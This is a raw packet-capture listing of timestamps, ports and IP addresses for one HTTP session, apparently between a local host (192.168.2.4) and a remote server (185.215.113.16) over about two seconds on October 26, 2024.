Oct 26, 2024 05:54:25.906172037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906198978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906202078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906260014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906265020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906316042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906346083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906364918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906378984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906414032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906424046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906446934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906480074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906496048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906517029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906553030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906565905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906589031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906636000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906821966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906887054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906920910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906934023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906954050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.907002926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.907186031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.907239914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.907269001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.907300949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.944772005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.944823980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.944833994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.944860935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.944909096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.994791985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.994882107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.994915962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.994935036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.036657095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.066951990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067029953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067065954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067116976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067136049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067178965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067193031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067228079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067262888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067274094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067297935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067344904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067508936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067579985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067611933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067620993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067820072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067853928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067863941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.067889929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067919016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.067929983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.068037987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068077087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.068136930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068171978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068212986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.068223000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068254948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068288088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.068296909 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.106359959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.106461048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.106498957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.106534958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.106542110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.106585026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.156264067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.156368017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.156407118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.156435013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.156475067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228414059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228522062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228555918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228600025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228652954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228705883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228708029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228743076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228777885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228785992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228811979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228846073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228852987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228879929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228914022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228921890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.228954077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.228992939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.229201078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229568005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229599953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229609966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.229638100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229677916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.229680061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229712009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229744911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.229748964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.267410994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.267446041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.267462969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.267481089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.267518997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.317526102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.317562103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.317595005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.317608118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.364705086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.389607906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389704943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389767885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389767885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.389821053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389849901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389863014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.389884949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389916897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.389923096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.389990091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390033960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390038013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390070915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390104055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390113115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390136957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390170097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390176058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390216112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390254021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390396118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390469074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390501976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390510082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390535116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390577078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390849113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390897989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390932083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.390937090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.390983105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.391011953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.391020060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.428704977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.428740025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.428770065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.428792000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.428832054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.478846073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.478878975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.478914976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.478925943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.478948116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.478985071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551011086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551112890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551172018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551173925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551203012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551237106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551270962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551271915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551306009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551343918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551367998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551474094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551482916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551507950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551541090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551604033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551606894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551659107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551692009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551692009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551781893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.551804066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551836967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.551918983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.552138090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.552171946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.552210093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.552258968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.552262068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.552292109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.552328110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.589926004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.590001106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.590034008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.590069056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.590132952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.640235901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.640321016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.640352011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.640537977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.693062067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712286949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712364912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712400913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712429047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712500095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712528944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712559938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712593079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712625980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712635994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712635994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712656021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712743998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712771893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712794065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712836027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712907076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712917089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.712940931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.712974072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713026047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.713277102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713327885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713341951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.713361979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713411093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.713449955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713480949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713515997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.713537931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.751152039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.751224995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.751260996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.751290083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.751295090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.751456022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.801367998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.801439047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.801474094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.801474094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.801506996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.801528931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.849215984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873541117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873569965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873619080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873645067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873651981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873681068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873716116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873743057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873766899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873775959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873797894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873830080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873864889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873864889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873893976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.873950005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.873959064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874008894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874012947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874037981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874099016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874269962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874305010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874337912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874361038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874372005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874416113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874604940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874654055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874686956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874722958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874766111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.874830961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.874975920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.875026941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.875159979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.912535906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.912570953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.912602901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.912763119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.958503008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:26.962805033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.962838888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.962871075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:26.962965965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.005445004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.035728931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035747051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035759926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035773993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035897970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035928965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035942078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035943031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.035967112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035979986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.035994053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036009073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036035061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036035061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036289930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036338091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036339045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036353111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036395073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036433935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036448956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036492109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036803007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036828041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036844015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036890984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.036927938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.036927938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.073767900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.073796988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.073829889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.073860884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.073942900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.073942900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.124229908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.124265909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.124300003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.124334097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.177352905 CEST	49742	80	192.168.2.4	185.215.113.16
